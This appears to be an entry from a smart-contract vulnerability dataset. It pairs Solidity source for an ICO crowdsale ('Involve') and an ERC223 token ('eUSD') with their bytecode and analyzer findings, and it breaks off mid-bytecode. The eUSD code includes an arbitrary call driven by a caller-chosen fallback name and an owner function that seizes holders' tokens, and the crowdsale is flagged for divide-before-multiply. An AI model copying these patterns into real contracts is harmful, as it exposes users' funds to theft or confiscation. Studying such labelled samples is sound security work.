onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner { require(newOwner != address(0)); owner = newOwner; } } /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will recieve the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner returns (bool) { mintingFinished = true; MintFinished(); return true; } } contract InvolveToken is MintableToken { string public constant name = "IToken"; string public constant symbol = "IQO"; uint32 public constant decimals = 18; } contract Involve is Ownable { using SafeMath for uint; address multisig; uint restrictedPercent; address restricted; InvolveToken public token = new InvolveToken(); uint start; uint period; uint hardcap; uint rate; function Involve() { multisig = 0x72333A1c0fD9d720a320d575F2740e78DfA88c5A; restricted = 0x246053D135D59b1fa6F4cE7CAEF8EEcDa7ca1C80; restrictedPercent = 61; rate = 60000000000000000000000; start = 1525122000; period = 124; hardcap = 50000000000000000000000; } modifier saleIsOn() { require(now > start && now < start + period * 1 days); _; } modifier isUnderHardCap() { require(multisig.balance <= hardcap); _; } function finishMinting() public onlyOwner { uint issuedTokenSupply = token.totalSupply(); uint restrictedTokens = issuedTokenSupply.mul(restrictedPercent).div(100 - restrictedPercent); token.mint(restricted, restrictedTokens); token.finishMinting(); } function createTokens() isUnderHardCap saleIsOn payable { multisig.transfer(msg.value); uint tokens = rate.mul(msg.value).div(1 ether); uint bonusTokens = 0; if(now < start + (period * 1 days).div(4)) { bonusTokens = tokens.div(1); } else if(now >= start + (period * 1 days).div(4) && now < start + (period * 1 days).div(4).mul(2)) { bonusTokens = tokens.div(4); } else if(now >= start + (period * 1 days).div(4).mul(2) && now < start + (period * 1 days).div(4).mul(3)) { bonusTokens = tokens.div(10); } tokens += bonusTokens; token.mint(msg.sender, tokens); } function() external payable { createTokens(); } }
0x60806040526004361061006d576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680637d64bcb4146100775780638da5cb5b1461008e578063b4427263146100e5578063f2fde38b146100ef578063fc0c546a14610132575b610075610189565b005b34801561008357600080fd5b5061008c6104f2565b005b34801561009a57600080fd5b506100a361082a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6100ed610189565b005b3480156100fb57600080fd5b50610130600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061084f565b005b34801561013e57600080fd5b50610147610929565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b600080600754600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1631111515156101d657600080fd5b600554421180156101f1575062015180600654026005540142105b15156101fc57600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f19350505050158015610264573d6000803e3d6000fd5b50610294670de0b6b3a76400006102863460085461094f90919063ffffffff16565b61098290919063ffffffff16565b9150600090506102b56004620151806006540261098290919063ffffffff16565b600554014210156102db576102d460018361098290919063ffffffff16565b90506103e8565b6102f66004620151806006540261098290919063ffffffff16565b600554014210158015610339575061033260026103246004620151806006540261098290919063ffffffff16565b61094f90919063ffffffff16565b6005540142105b156103595761035260048361098290919063ffffffff16565b90506103e7565b61038760026103796004620151806006540261098290919063ffffffff16565b61094f90919063ffffffff16565b6005540142101580156103ca57506103c360036103b56004620151806006540261098290919063ffffffff16565b61094f90919063ffffffff16565b6005540142105b156103e6576103e3600a8361098290919063ffffffff16565b90505b5b5b8082019150600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166340c10f1933846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156104b257600080fd5b505af11580156104c6573d6000803e3d6000fd5b505050506040513d60208110156104dc57600080fd5b8101908080519060200190929190505050505050565b6000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561055057600080fd5b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b1580156105d657600080fd5b505af11580156105ea573d6000803e3d6000fd5b505050506040513d602081101561060057600080fd5b8101908080519060200190929190505050915061063f6002546064036106316002548561094f90919063ffffffff16565b61098290919063ffffffff16565b9050600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166340c10f19600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561072857600080fd5b505af115801561073c573d6000803e3d6000fd5b505050506040513d602081101561075257600080fd5b810190808051906020019092919050505050600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16637d64bcb46040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b1580156107ea57600080fd5b505af11580156107fe573d6000803e3d6000fd5b505050506040513d602081101561081457600080fd5b8101908080519060200190929190505050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108aa57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156108e657600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008082840290506000841480610970575082848281151561096d57fe5b04145b151561097857fe5b8091505092915050565b600080828481151561099057fe5b04905080915050929150505600a165627a7a72305820696b4edd7788c71a6301c12a8ef8793a345398d0398166d256dfcca325709aae0029
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
3,681
0x5ea6d10d4bf5266bd08408e947f592b09acae539
/** *Submitted for verification at Etherscan.io on 2020-04-01 */ /** *Submitted for verification at Etherscan.io on 2020-03-30 */ pragma solidity ^0.4.23; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization * control functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the * sender account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * * @title ERC223 * @dev ERC223 contract interface with ERC20 functions and events * Fully backward compatible with ERC20 * Recommended implementation used at https://github.com/Dexaran/ERC223-token-standard/tree/Recommended */ contract ERC223 { uint public totalSupply; // ERC223 and ERC20 functions and events function balanceOf(address who) public view returns (uint); function totalSupply() public view returns (uint256 _supply); function transfer(address to, uint value) public returns (bool ok); function transfer(address to, uint value, bytes data) public returns (bool ok); function transfer(address to, uint value, bytes data, string customFallback) public returns (bool ok); event Transfer(address indexed from, address indexed to, uint value, bytes indexed data); // ERC223 functions function name() public view returns (string _name); function symbol() public view returns (string _symbol); function decimals() public view returns (uint8 _decimals); // ERC20 functions and events function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); function allowance(address _owner, address _spender) public view returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint _value); } /** * @title ContractReceiver * @dev Contract that is working with ERC223 tokens */ contract ContractReceiver { struct TKN { address sender; uint value; bytes data; bytes4 sig; } function tokenFallback(address _from, uint _value, bytes _data) public pure { TKN memory tkn; tkn.sender = _from; tkn.value = _value; tkn.data = _data; uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24); tkn.sig = bytes4(u); /* * tkn variable is analogue of msg variable of Ether transaction * tkn.sender is person who initiated this token transaction (analogue of msg.sender) * tkn.value the number of tokens that were sent (analogue of msg.value) * tkn.data is data of token transaction (analogue of msg.data) * tkn.sig is 4 bytes signature of function if data of token transaction is a function execution */ } } /*******************************************************************************/ /** * @title eUSD * @author eUSD Members * @dev CHE is an ERC223 Token with ERC20 functions and events * Fully backward compatible with ERC20 */ /*******************************************************************************/ contract eUSD is ERC223, Ownable { using SafeMath for uint256; /*******************************************************************************/ // // Definition of CryproCurrency // /*******************************************************************************/ string public name = "eUSD "; string public symbol = "eUSD"; uint8 public decimals = 8; uint256 public initialSupply = 350e8 * 1e8; uint256 public totalSupply; uint256 public distributeAmount = 0; bool public mintingFinished = false; /*******************************************************************************/ //----------------------------------------------------------------------------- mapping(address => uint256) public balanceOf; mapping(address => mapping (address => uint256)) public allowance; mapping (address => bool) public frozenAccount; mapping (address => uint256) public unlockUnixTime; event FrozenFunds(address indexed target, bool frozen); event LockedFunds(address indexed target, uint256 locked); event Burn(address indexed from, uint256 amount); event Mint(address indexed to, uint256 amount); event MintFinished(); /** * @dev Constructor is called only once and can not be called again */ constructor() public { totalSupply = initialSupply; balanceOf[msg.sender] = totalSupply; } function name() public view returns (string _name) { return name; } function symbol() public view returns (string _symbol) { return symbol; } function decimals() public view returns (uint8 _decimals) { return decimals; } function totalSupply() public view returns (uint256 _totalSupply) { return totalSupply; } function balanceOf(address _owner) public view returns (uint256 balance) { return balanceOf[_owner]; } /** * @dev Prevent targets from sending or receiving tokens * @param targets Addresses to be frozen * @param isFrozen either to freeze it or not */ function freezeAccounts(address[] targets, bool isFrozen) onlyOwner public { require(targets.length > 0); for (uint j = 0; j < targets.length; j++) { require(targets[j] != 0x0); frozenAccount[targets[j]] = isFrozen; emit FrozenFunds(targets[j], isFrozen); } } /** * @dev Prevent targets from sending or receiving tokens by setting Unix times * @param targets Addresses to be locked funds * @param unixTimes Unix times when locking up will be finished */ function lockupAccounts(address[] targets, uint[] unixTimes) onlyOwner public { require(targets.length > 0 && targets.length == unixTimes.length); for(uint j = 0; j < targets.length; j++){ require(unlockUnixTime[targets[j]] < unixTimes[j]); unlockUnixTime[targets[j]] = unixTimes[j]; emit LockedFunds(targets[j], unixTimes[j]); } } /** * @dev Function that is called when a user or another contract wants to transfer funds */ function transfer(address _to, uint _value, bytes _data, string _custom_fallback) public returns (bool success) { require(_value > 0 && frozenAccount[msg.sender] == false && frozenAccount[_to] == false && block.timestamp > unlockUnixTime[msg.sender] && block.timestamp > unlockUnixTime[_to]); if (isContract(_to)) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); assert(_to.call.value(0)(bytes4(keccak256(abi.encodePacked(_custom_fallback))), msg.sender, _value, _data)); emit Transfer(msg.sender, _to, _value, _data); emit Transfer(msg.sender, _to, _value); return true; } else { return transferToAddress(_to, _value, _data); } } function transfer(address _to, uint _value, bytes _data) public returns (bool success) { require(_value > 0 && frozenAccount[msg.sender] == false && frozenAccount[_to] == false && block.timestamp > unlockUnixTime[msg.sender] && block.timestamp > unlockUnixTime[_to]); if (isContract(_to)) { return transferToContract(_to, _value, _data); } else { return transferToAddress(_to, _value, _data); } } /** * @dev Standard function transfer similar to ERC20 transfer with no _data * Added due to backwards compatibility reasons */ function transfer(address _to, uint _value) public returns (bool success) { require(_value > 0 && frozenAccount[msg.sender] == false && frozenAccount[_to] == false && block.timestamp > unlockUnixTime[msg.sender] && block.timestamp > unlockUnixTime[_to]); bytes memory empty; if (isContract(_to)) { return transferToContract(_to, _value, empty); } else { return transferToAddress(_to, _value, empty); } } // assemble the given address bytecode. If bytecode exists then the _addr is a contract. function isContract(address _addr) private view returns (bool is_contract) { uint length; assembly { //retrieve the size of the code on target address, this needs assembly length := extcodesize(_addr) } return (length > 0); } // function that is called when transaction target is an address function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); emit Transfer(msg.sender, _to, _value, _data); emit Transfer(msg.sender, _to, _value); return true; } // function that is called when transaction target is a contract function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); ContractReceiver receiver = ContractReceiver(_to); receiver.tokenFallback(msg.sender, _value, _data); emit Transfer(msg.sender, _to, _value, _data); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Transfer tokens from one address to another * Added due to backwards compatibility with ERC20 * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_to != address(0) && _value > 0 && balanceOf[_from] >= _value && allowance[_from][msg.sender] >= _value && frozenAccount[_from] == false && frozenAccount[_to] == false && block.timestamp > unlockUnixTime[_from] && block.timestamp > unlockUnixTime[_to]); balanceOf[_from] = balanceOf[_from].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Allows _spender to spend no more than _value tokens in your behalf * Added due to backwards compatibility with ERC20 * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender * Added due to backwards compatibility with ERC20 * @param _owner address The address which owns the funds * @param _spender address The address which will spend the funds */ function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowance[_owner][_spender]; } /** * @dev Burns a specific amount of tokens. * @param _from The address that will burn the tokens. * @param _unitAmount The amount of token to be burned. */ function burn(address _from, uint256 _unitAmount) onlyOwner public { require(_unitAmount > 0 && balanceOf[_from] >= _unitAmount); balanceOf[_from] = balanceOf[_from].sub(_unitAmount); totalSupply = totalSupply.sub(_unitAmount); emit Burn(_from, _unitAmount); } modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _unitAmount The amount of tokens to mint. */ function mint(address _to, uint256 _unitAmount) onlyOwner canMint public returns (bool) { require(_unitAmount > 0); totalSupply = totalSupply.add(_unitAmount); balanceOf[_to] = balanceOf[_to].add(_unitAmount); emit Mint(_to, _unitAmount); emit Transfer(address(0), _to, _unitAmount); return true; } /** * @dev Function to stop minting new tokens. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } /** * @dev Function to distribute tokens to the list of addresses by the provided amount */ function distributeAirdrop(address[] addresses, uint256 amount) public returns (bool) { require(amount > 0 && addresses.length > 0 && frozenAccount[msg.sender] == false && block.timestamp > unlockUnixTime[msg.sender]); amount = amount.mul(1e8); uint256 totalAmount = amount.mul(addresses.length); require(balanceOf[msg.sender] >= totalAmount); for (uint j = 0; j < addresses.length; j++) { require(addresses[j] != 0x0 && frozenAccount[addresses[j]] == false && block.timestamp > unlockUnixTime[addresses[j]]); balanceOf[addresses[j]] = balanceOf[addresses[j]].add(amount); emit Transfer(msg.sender, addresses[j], amount); } balanceOf[msg.sender] = balanceOf[msg.sender].sub(totalAmount); return true; } function distributeAirdrop(address[] addresses, uint[] amounts) public returns (bool) { require(addresses.length > 0 && addresses.length == amounts.length && frozenAccount[msg.sender] == false && block.timestamp > unlockUnixTime[msg.sender]); uint256 totalAmount = 0; for(uint j = 0; j < addresses.length; j++){ require(amounts[j] > 0 && addresses[j] != 0x0 && frozenAccount[addresses[j]] == false && block.timestamp > unlockUnixTime[addresses[j]]); amounts[j] = amounts[j].mul(1e8); totalAmount = totalAmount.add(amounts[j]); } require(balanceOf[msg.sender] >= totalAmount); for (j = 0; j < addresses.length; j++) { balanceOf[addresses[j]] = balanceOf[addresses[j]].add(amounts[j]); emit Transfer(msg.sender, addresses[j], amounts[j]); } balanceOf[msg.sender] = balanceOf[msg.sender].sub(totalAmount); return true; } /** * @dev Function to collect tokens from the list of addresses */ function collectTokens(address[] addresses, uint[] amounts) onlyOwner public returns (bool) { require(addresses.length > 0 && addresses.length == amounts.length); uint256 totalAmount = 0; for (uint j = 0; j < addresses.length; j++) { require(amounts[j] > 0 && addresses[j] != 0x0 && frozenAccount[addresses[j]] == false && block.timestamp > unlockUnixTime[addresses[j]]); amounts[j] = amounts[j].mul(1e8); require(balanceOf[addresses[j]] >= amounts[j]); balanceOf[addresses[j]] = balanceOf[addresses[j]].sub(amounts[j]); totalAmount = totalAmount.add(amounts[j]); emit Transfer(addresses[j], msg.sender, amounts[j]); } balanceOf[msg.sender] = balanceOf[msg.sender].add(totalAmount); return true; } function setDistributeAmount(uint256 _unitAmount) onlyOwner public { distributeAmount = _unitAmount; } /** * @dev Function to distribute tokens to the msg.sender automatically * If distributeAmount is 0, this function doesn't work */ function autoDistribute() payable public { require(distributeAmount > 0 && balanceOf[owner] >= distributeAmount && frozenAccount[msg.sender] == false && block.timestamp > unlockUnixTime[msg.sender]); if(msg.value > 0) owner.transfer(msg.value); balanceOf[owner] = balanceOf[owner].sub(distributeAmount); balanceOf[msg.sender] = balanceOf[msg.sender].add(distributeAmount); emit Transfer(owner, msg.sender, distributeAmount); } /** * @dev fallback function */ function() payable public { autoDistribute(); } }
0x6080604052600436106101505763ffffffff60e060020a60003504166305d2035b811461015a57806306fdde0314610183578063095ea7b31461020d57806318160ddd1461023157806323b872dd14610258578063313ce56714610282578063378dc3dc146102ad57806340c10f19146102c25780634f25eced146102e657806364ddc605146102fb57806370a08231146103895780637d64bcb4146103aa5780638da5cb5b146103bf57806394594625146103f057806395d89b41146104475780639dc29fac1461045c578063a8f11eb914610150578063a9059cbb14610480578063b414d4b6146104a4578063be45fd62146104c5578063c341b9f61461052e578063cbbe974b14610587578063d39b1d48146105a8578063dd62ed3e146105c0578063dd924594146105e7578063f0dc417114610675578063f2fde38b14610703578063f6368f8a14610724575b6101586107cb565b005b34801561016657600080fd5b5061016f610947565b604080519115158252519081900360200190f35b34801561018f57600080fd5b50610198610950565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101d25781810151838201526020016101ba565b50505050905090810190601f1680156101ff5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561021957600080fd5b5061016f600160a060020a03600435166024356109e3565b34801561023d57600080fd5b50610246610a4d565b60408051918252519081900360200190f35b34801561026457600080fd5b5061016f600160a060020a0360043581169060243516604435610a53565b34801561028e57600080fd5b50610297610c60565b6040805160ff9092168252519081900360200190f35b3480156102b957600080fd5b50610246610c69565b3480156102ce57600080fd5b5061016f600160a060020a0360043516602435610c6f565b3480156102f257600080fd5b50610246610d73565b34801561030757600080fd5b506040805160206004803580820135838102808601850190965280855261015895369593946024949385019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a998901989297509082019550935083925085019084908082843750949750610d799650505050505050565b34801561039557600080fd5b50610246600160a060020a0360043516610ee1565b3480156103b657600080fd5b5061016f610efc565b3480156103cb57600080fd5b506103d4610f66565b60408051600160a060020a039092168252519081900360200190f35b3480156103fc57600080fd5b506040805160206004803580820135838102808601850190965280855261016f953695939460249493850192918291850190849080828437509497505093359450610f759350505050565b34801561045357600080fd5b50610198611213565b34801561046857600080fd5b50610158600160a060020a0360043516602435611274565b34801561048c57600080fd5b5061016f600160a060020a036004351660243561135d565b3480156104b057600080fd5b5061016f600160a060020a0360043516611432565b3480156104d157600080fd5b50604080516020600460443581810135601f810184900484028501840190955284845261016f948235600160a060020a03169460248035953695946064949201919081908401838280828437509497506114479650505050505050565b34801561053a57600080fd5b506040805160206004803580820135838102808601850190965280855261015895369593946024949385019291829185019084908082843750949750505050913515159250611512915050565b34801561059357600080fd5b50610246600160a060020a0360043516611620565b3480156105b457600080fd5b50610158600435611632565b3480156105cc57600080fd5b50610246600160a060020a0360043581169060243516611652565b3480156105f357600080fd5b506040805160206004803580820135838102808601850190965280855261016f95369593946024949385019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a99890198929750908201955093508392508501908490808284375094975061167d9650505050505050565b34801561068157600080fd5b506040805160206004803580820135838102808601850190965280855261016f95369593946024949385019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a99890198929750908201955093508392508501908490808284375094975061194b9650505050505050565b34801561070f57600080fd5b50610158600160a060020a0360043516611c38565b34801561073057600080fd5b50604080516020600460443581810135601f810184900484028501840190955284845261016f948235600160a060020a031694602480359536959460649492019190819084018382808284375050604080516020601f89358b018035918201839004830284018301909452808352979a999881019791965091820194509250829150840183828082843750949750611cd19650505050505050565b60006007541180156107f95750600754600154600160a060020a031660009081526009602052604090205410155b801561081e5750600160a060020a0333166000908152600b602052604090205460ff16155b80156108415750600160a060020a0333166000908152600c602052604090205442115b151561084c57600080fd5b600034111561089057600154604051600160a060020a03909116903480156108fc02916000818181858888f1935050505015801561088e573d6000803e3d6000fd5b505b600754600154600160a060020a03166000908152600960205260409020546108bd9163ffffffff61209c16565b600154600160a060020a039081166000908152600960205260408082209390935560075433909216815291909120546108fb9163ffffffff6120ae16565b600160a060020a03338116600081815260096020908152604091829020949094556001546007548251908152915192949316926000805160206124d683398151915292918290030190a3565b60085460ff1681565b60028054604080516020601f60001961010060018716150201909416859004938401819004810282018101909252828152606093909290918301828280156109d95780601f106109ae576101008083540402835291602001916109d9565b820191906000526020600020905b8154815290600101906020018083116109bc57829003601f168201915b5050505050905090565b600160a060020a033381166000818152600a6020908152604080832094871680845294825280832086905580518681529051929493927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b60065490565b6000600160a060020a03831615801590610a6d5750600082115b8015610a915750600160a060020a0384166000908152600960205260409020548211155b8015610ac35750600160a060020a038085166000908152600a6020908152604080832033909416835292905220548211155b8015610ae85750600160a060020a0384166000908152600b602052604090205460ff16155b8015610b0d5750600160a060020a0383166000908152600b602052604090205460ff16155b8015610b305750600160a060020a0384166000908152600c602052604090205442115b8015610b535750600160a060020a0383166000908152600c602052604090205442115b1515610b5e57600080fd5b600160a060020a038416600090815260096020526040902054610b87908363ffffffff61209c16565b600160a060020a038086166000908152600960205260408082209390935590851681522054610bbc908363ffffffff6120ae16565b600160a060020a038085166000908152600960209081526040808320949094558783168252600a8152838220339093168252919091522054610c04908363ffffffff61209c16565b600160a060020a038086166000818152600a60209081526040808320338616845282529182902094909455805186815290519287169391926000805160206124d6833981519152929181900390910190a35060015b9392505050565b60045460ff1690565b60055481565b60015460009033600160a060020a03908116911614610c8d57600080fd5b60085460ff1615610c9d57600080fd5b60008211610caa57600080fd5b600654610cbd908363ffffffff6120ae16565b600655600160a060020a038316600090815260096020526040902054610ce9908363ffffffff6120ae16565b600160a060020a038416600081815260096020908152604091829020939093558051858152905191927f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d412139688592918290030190a2604080518381529051600160a060020a038516916000916000805160206124d68339815191529181900360200190a350600192915050565b60075481565b60015460009033600160a060020a03908116911614610d9757600080fd5b60008351118015610da9575081518351145b1515610db457600080fd5b5060005b8251811015610edc578181815181101515610dcf57fe5b90602001906020020151600c60008584815181101515610deb57fe5b6020908102909101810151600160a060020a031682528101919091526040016000205410610e1857600080fd5b8181815181101515610e2657fe5b90602001906020020151600c60008584815181101515610e4257fe5b6020908102909101810151600160a060020a03168252810191909152604001600020558251839082908110610e7357fe5b90602001906020020151600160a060020a03167f1bd6fb9fa2c39ce5d0d2afa1eaba998963eb5f553fd862c94f131aa9e35c15778383815181101515610eb557fe5b906020019060200201516040518082815260200191505060405180910390a2600101610db8565b505050565b600160a060020a031660009081526009602052604090205490565b60015460009033600160a060020a03908116911614610f1a57600080fd5b60085460ff1615610f2a57600080fd5b6008805460ff191660011790556040517fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0890600090a150600190565b600154600160a060020a031681565b60008060008084118015610f8a575060008551115b8015610faf5750600160a060020a0333166000908152600b602052604090205460ff16155b8015610fd25750600160a060020a0333166000908152600c602052604090205442115b1515610fdd57600080fd5b610ff1846305f5e10063ffffffff6120bd16565b93506110078551856120bd90919063ffffffff16565b600160a060020a03331660009081526009602052604090205490925082111561102f57600080fd5b5060005b84518110156111c657848181518110151561104a57fe5b90602001906020020151600160a060020a03166000141580156110a25750600b6000868381518110151561107a57fe5b6020908102909101810151600160a060020a031682528101919091526040016000205460ff16155b80156110e95750600c600086838151811015156110bb57fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205442115b15156110f457600080fd5b6111398460096000888581518110151561110a57fe5b6020908102909101810151600160a060020a03168252810191909152604001600020549063ffffffff6120ae16565b60096000878481518110151561114b57fe5b6020908102909101810151600160a060020a0316825281019190915260400160002055845185908290811061117c57fe5b90602001906020020151600160a060020a031633600160a060020a03166000805160206124d6833981519152866040518082815260200191505060405180910390a3600101611033565b600160a060020a0333166000908152600960205260409020546111ef908363ffffffff61209c16565b33600160a060020a0316600090815260096020526040902055506001949350505050565b60038054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156109d95780601f106109ae576101008083540402835291602001916109d9565b60015433600160a060020a0390811691161461128f57600080fd5b6000811180156112b75750600160a060020a0382166000908152600960205260409020548111155b15156112c257600080fd5b600160a060020a0382166000908152600960205260409020546112eb908263ffffffff61209c16565b600160a060020a038316600090815260096020526040902055600654611317908263ffffffff61209c16565b600655604080518281529051600160a060020a038416917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a25050565b6000606060008311801561138a5750600160a060020a0333166000908152600b602052604090205460ff16155b80156113af5750600160a060020a0384166000908152600b602052604090205460ff16155b80156113d25750600160a060020a0333166000908152600c602052604090205442115b80156113f55750600160a060020a0384166000908152600c602052604090205442115b151561140057600080fd5b611409846120e8565b15611420576114198484836120f0565b915061142b565b611419848483612358565b5092915050565b600b6020526000908152604090205460ff1681565b600080831180156114715750600160a060020a0333166000908152600b602052604090205460ff16155b80156114965750600160a060020a0384166000908152600b602052604090205460ff16155b80156114b95750600160a060020a0333166000908152600c602052604090205442115b80156114dc5750600160a060020a0384166000908152600c602052604090205442115b15156114e757600080fd5b6114f0846120e8565b15611507576115008484846120f0565b9050610c59565b611500848484612358565b60015460009033600160a060020a0390811691161461153057600080fd5b825160001061153e57600080fd5b5060005b8251811015610edc57828181518110151561155957fe5b60209081029091010151600160a060020a0316151561157757600080fd5b81600b6000858481518110151561158a57fe5b602090810291909101810151600160a060020a03168252810191909152604001600020805460ff191691151591909117905582518390829081106115ca57fe5b90602001906020020151600160a060020a03167f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a583604051808215151515815260200191505060405180910390a2600101611542565b600c6020526000908152604090205481565b60015433600160a060020a0390811691161461164d57600080fd5b600755565b600160a060020a039182166000908152600a6020908152604080832093909416825291909152205490565b6000806000808551118015611693575083518551145b80156116b85750600160a060020a0333166000908152600b602052604090205460ff16155b80156116db5750600160a060020a0333166000908152600c602052604090205442115b15156116e657600080fd5b5060009050805b8451811015611848576000848281518110151561170657fe5b9060200190602002015111801561173e5750848181518110151561172657fe5b90602001906020020151600160a060020a0316600014155b801561177f5750600b6000868381518110151561175757fe5b6020908102909101810151600160a060020a031682528101919091526040016000205460ff16155b80156117c65750600c6000868381518110151561179857fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205442115b15156117d157600080fd5b6117fd6305f5e10085838151811015156117e757fe5b602090810290910101519063ffffffff6120bd16565b848281518110151561180b57fe5b60209081029091010152835161183e9085908390811061182757fe5b60209081029091010151839063fff